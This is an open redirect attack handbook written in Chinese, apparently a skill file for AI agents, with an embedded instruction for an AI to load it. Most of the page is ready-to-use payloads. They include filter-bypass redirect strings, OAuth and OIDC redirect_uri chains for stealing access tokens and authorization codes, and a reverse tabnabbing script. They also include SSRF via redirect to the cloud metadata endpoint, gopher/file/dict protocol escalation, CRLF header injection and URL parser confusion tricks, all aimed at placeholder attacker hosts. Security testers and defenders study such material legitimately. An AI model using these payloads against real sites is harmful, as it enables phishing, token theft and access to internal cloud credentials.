open-redirect

open-redirect

热门

开放重定向(Open Redirect)攻击与利用手册。当 URL 参数、表单提交目标或 JavaScript Sink 节点控制了页面跳转地址,并可能将用户重定向至攻击者控制的目标时使用。

1528Star
197Fork
更新于 2026/6/16
SKILL.md
只读
名称
open-redirect
描述

开放重定向(Open Redirect)攻击与利用手册。当 URL 参数、表单提交目标或 JavaScript Sink 节点控制了页面跳转地址,并可能将用户重定向至攻击者控制的目标时使用。

SKILL: 开放重定向(Open Redirect)—— 专家级实战手册

AI 加载指令:开放重定向技术要点。涵盖基于参数的重定向、JavaScript Sinks、绕过过滤,以及组合钓鱼、CSRF Referer 绕过、OAuth Token 窃取和 SSRF 的链式利用。该漏洞常被低估,但在钓鱼攻击和多阶段漏洞利用链中属于关键环节。

1. 核心概念

开放重定向(Open Redirect)发生在应用程序未经充分验证,便将用户重定向到由用户输入决定的 URL 时。受信任的域名在此充当了钓鱼攻击或 Token 窃取的“跳板”。

https://trusted.com/redirect?url=https://evil.com
→ 用户在链接中看到 trusted.com → 点击 → 最终跳转并停留在 evil.com

2. 寻找重定向参数

常见参数名称

?url=           ?redirect=      ?next=          ?dest=
?destination=   ?redir=         ?return=        ?returnUrl=
?go=            ?forward=       ?target=        ?out=
?continue=      ?link=          ?view=          ?to=
?ref=           ?callback=      ?path=          ?rurl=

服务端 Sink 节点

HTTP 301/302 Location header
PHP: header("Location: $input")
Python: redirect(input)
Java: response.sendRedirect(input)
Node: res.redirect(input)

客户端 (JavaScript) Sink 节点

window.location = input
window.location.href = input
window.location.replace(input)
window.open(input)
document.location = input

3. 过滤绕过技巧

验证机制 绕过方式
检查 URL 是否以 / 开头 //evil.com(相对协议 URL)
检查域名是否包含 trusted.com evil.com?trusted.comtrusted.com.evil.com
封禁 http:// //evil.comhttps://evil.com\/\/evil.com
检查 URL 是否以 https://trusted.com 开头 https://trusted.com@evil.com(Userinfo 语法)
正则表达式 ^/[^/](仅限相对路径) /\evil.com(部分浏览器会将反斜杠视为路径分割符)
Django endswith('target.com') http://evil.com/www.target.com —— URL 路径以目标域名结尾
按域名后缀设白名单 *.trusted.com 进行子域名接管
# 相对协议:
//evil.com

# Userinfo 绕过:
https://trusted.com@evil.com

# 反斜杠技巧:
/\evil.com
/\/evil.com

# URL 编码:
https://trusted.com/%2F%2Fevil.com

# Django endswith 绕过:
http://evil.com/www.target.com
http://evil.com?target.com

# 信任站点二次重定向(例如通过百度跳转服务):
https://link.target.com/?url=http://evil.com

# 特殊字符混淆:
http://evil.com#@trusted.com        # 将 anchor/fragment 误识别为 authority
http://evil.com?trusted.com         # 查询字符串混淆
http://trusted.com%00@evil.com      # 空字符(Null Byte)截断

# URL 中插入 Tab/换行符(浏览器会忽略空白字符):
java%09script:alert(1)

4. 组合利用链

钓鱼攻击放大 (Phishing Amplification)

攻击者发送:https://bigbank.com/redirect?url=https://bigbank-login.evil.com
受害者看到 bigbank.com 以为是正规链接 → 点击 → 在仿冒站点上输入凭据。

OAuth Token 窃取

如果 OAuth redirect_uri 允许在授权域名上进行开放重定向:

/authorize?redirect_uri=https://trusted.com/redirect?url=https://evil.com
→ 授权码(Code)或 Token 被附加到 evil.com 的 URL 中
→ 攻击者从 URL Fragment(锚点)或查询参数中截获 Token

CSRF Referer 绕过

某些 CSRF 防御机制会校验 Referer 请求头是否包含受信任域名:

1. 攻击者页面链接至:https://trusted.com/redirect?url=https://trusted.com/change-email
2. 重定向保留了来自 trusted.com 的 Referer
3. CSRF 防御通过,因为 Referer 等于 trusted.com

结合重定向实现 SSRF

当服务器自动跟踪 HTTP 重定向时:

?url=https://attacker.com/redirect-to-internal
# attacker.com 返回 302 → http://169.254.169.254/
# 服务器跟随重定向 → 触发对元数据节点的 SSRF 攻击

5. 测试清单

□ 识别所有触发重定向的 URL 参数
□ 测试外部域名:?url=https://evil.com
□ 测试相对协议:?url=//evil.com
□ 测试 Userinfo 绕过:?url=https://trusted.com@evil.com
□ 测试反斜杠:?url=/\evil.com
□ 测试 JavaScript Sink:?url=javascript:alert(1) (DOM 型)
□ 检查 OAuth 流程中的 redirect_uri 是否存在开放重定向
□ 确认重定向是否会在 URL 中泄露认证 Token

6. 标签页劫持 (TABNABBING / REVERSE TABNABBING)

概念

当链接使用 target="_blank" 打开新标签页,且未设置 rel="noopener" 时:

  • 新页面可以通过 window.opener 访问源页面
  • 新页面可以重定向原始页面window.opener.location = "https://phishing.com/login"
  • 用户切回“原始”标签页 → 看到假的登录框 → 输入账号密码

检测方法

<!-- 存在漏洞: -->
<a href="https://external.com" target="_blank">Click here</a>

<!-- 安全写法: -->
<a href="https://external.com" target="_blank" rel="noopener noreferrer">Click here</a>

利用方式

// 在攻击者控制的页面上(通过 target="_blank" 打开):
if (window.opener) {
    window.opener.location = "https://phishing.com/fake-login.html";
}

重点排查位置

  • 包含链接的用户生成内容(论坛、评论区、个人主页)
  • 带有 target="_blank" 且指向外部域名的链接
  • 在新标签页中打开的 PDF 预览或文档预览

7. 开放重定向 → OAUTH TOKEN 窃取(详细利用链)

7.1 OAuth 隐式授权模式 (Implicit Flow)

在隐式授权模式下,Access Token 会作为 URL Fragment(#access_token=...)返回。若 redirect_uri 允许在授权域名上执行开放重定向:

/authorize?response_type=token
  &client_id=CLIENT
  &redirect_uri=https://target.com/callback/../redirect?url=https://evil.com
  &scope=read

攻击流程:
1. 用户完成身份验证 → 授权服务器重定向至:
   https://target.com/redirect?url=https://evil.com#access_token=SECRET
2. 开放重定向触发 → 浏览器跳转至:
   https://evil.com#access_token=SECRET
3. 攻击者页面读取 location.hash → 截获 Access Token

7.2 授权码模式 (Authorization Code Flow)

授权码(Authorization Code)通过 Query 参数传递。如果重定向链保留了 Query 参数:

/authorize?response_type=code
  &client_id=CLIENT
  &redirect_uri=https://target.com/callback%2f..%2fredirect%3furl%3dhttps://evil.com

攻击流程:
1. 授权服务器验证 redirect_uri 前缀 → 匹配 https://target.com/
2. 重定向至:https://target.com/redirect?url=https://evil.com&code=AUTH_CODE
3. 开放重定向将受害者送往:https://evil.com?code=AUTH_CODE
4. 攻击者用截获的 code 换取 Access Token

7.3 OIDC id_token Fragment 泄露

/authorize?response_type=id_token
  &client_id=CLIENT
  &redirect_uri=https://target.com/cb
  &nonce=NONCE

如果 redirect_uri 指向存在开放重定向的 Endpoint:
→ Fragment 中的 id_token 被发送给攻击者
→ 攻击者获得已签署的身份声明
→ 可以在任何接受该 IdP 的依赖方(RP)上冒充受害者登录

7.4 redirect_uri 验证绕过模式

redirect_uri=https://target.com/callback/../open-redirect?url=evil.com
redirect_uri=https://target.com/callback?next=https://evil.com
redirect_uri=https://target.com/callback%23@evil.com
redirect_uri=https://target.com/callback/../../redirect
redirect_uri=https://target.com/callback#@evil.com

8. 开放重定向 → SSRF 组合链

服务端跟随重定向 (Server-side redirect following)

当服务端组件会自动跟随 HTTP 重定向时(例如 URL 预览、链接展开、Webhook、图片拉取器):

1. 向服务端抓取器提交 URL:http://attacker.com/redirect
2. attacker.com 响应:302 Location: http://169.254.169.254/latest/meta-data/
3. 服务端跟随重定向 → 触发针对云厂商元数据节点的 SSRF
4. 响应(如 IAM 凭据)被返回给攻击者或直接展示在预览中

多跳重定向绕过过滤 (Multi-hop redirect for filter bypass)

1. 服务端禁止直接请求 169.254.169.254
2. 提交:http://attacker.com/r1
3. r1 → 302 → http://attacker.com/r2  (同域名,通过校验)
4. r2 → 302 → http://169.254.169.254/ (内网地址,未再次校验过滤规则)

DNS 重新绑定变体 (DNS rebinding variant)

1. attacker.com 解析为攻击者的公网 IP(TTL=0)
2. 服务端解析 attacker.com → 公网 IP → 通过 SSRF 过滤器
3. 建立连接,但 HTTP 重定向目标再次指向 attacker.com
4. 第二次 DNS 解析:attacker.com 此时解析为 169.254.169.254
5. 服务端跟随重定向请求内网地址

跨协议重定向扩充攻击面 (Scope escalation via redirect protocols)

http://attacker.com/redirect → gopher://127.0.0.1:6379/...  (Redis SSRF)
http://attacker.com/redirect → file:///etc/passwd            (读取本地文件)
http://attacker.com/redirect → dict://127.0.0.1:11211/       (Memcached)

注意:并非所有 HTTP 客户端都会跟随跨协议重定向,但 curl(默认配置)及部分主流库支持此行为。


9. 利用 URL 解析器差异绕过重定向限制

当重定向校验函数对 URL 的解析结果与最终处理该 URL 的浏览器或服务端不一致时:

相对协议 URL (Protocol-relative URL)

//attacker.com
→ 浏览器:https://attacker.com(继承当前页面的协议)
→ 部分校验器:误判定为相对路径 "/attacker.com"

反斜杠混淆 (Backslash confusion)

\/\/attacker.com
/\/attacker.com
→ 许多浏览器会在 URL 中自动将 \ 规格化为 /
→ 将 \ 视为普通路径字符的校验器可能会误放行

Userinfo 语法滥用

//attacker.com\@target.com
→ 浏览器:导航至 attacker.com(@ 为 Userinfo 分隔符)
→ 校验器:在字符串中看到 "target.com" → 误通过白名单检查

//target.com@attacker.com
→ 浏览器:userinfo=target.com,host=attacker.com
→ 校验器:检查“以 target.com 开头” → 误通过

https://target.com%2F@attacker.com
→ URL 解码后:target.com/ 作为 userinfo,host=attacker.com

双重编码 (Double encoding)

//attacker%252ecom
→ 第一次解码://attacker%2ecom(通过校验器)
→ 第二次解码(服务端/浏览器)://attacker.com(实际重定向目标)

CRLF 注入 + 重定向

/%0d%0aLocation:%20https://attacker.com
→ 若服务端在 Header 上下文中直接渲染该路径:
   HTTP/1.1 302 Found
   Location: /
   Location: https://attacker.com  ← 注入的 Header 优先生效

Fragment(锚点)混淆

https://target.com#@attacker.com
→ 浏览器:host=target.com,fragment=@attacker.com
→ 但部分基于 JS 的重定向(window.location = url)处理方式可能不同

https://attacker.com#.target.com
→ 校验器:在字符串中看到 "target.com" → 误通过
→ 浏览器:导航至 attacker.com(页面跳转时忽略 Fragment)

特殊字符处理差异

https://attacker.com%E3%80%82target.com
→ Unicode 句号(U+3002)—— 部分解析器会将其视作点号句点(.)
→ 浏览器与校验器的规格化逻辑可能存在差异

https://attacker。com    (U+3002 全角句号)
https://attacker.com    (U+FF0E 全角点号)

URL 解析器差异汇总对比表

Payload 校验器视角 浏览器实际跳转目标
//evil.com 相对路径 https://evil.com
\/\/evil.com 路径 \/\/evil.com https://evil.com
//evil.com\@target.com 包含 target.com https://evil.com
//target.com@evil.com target.com 开头 https://evil.com
/%0d%0aLocation: https://evil.com 路径字符串 Header 注入 → 触发重定向
//evil%252ecom evil%2ecom(非法域名) evil.com(二次解码后)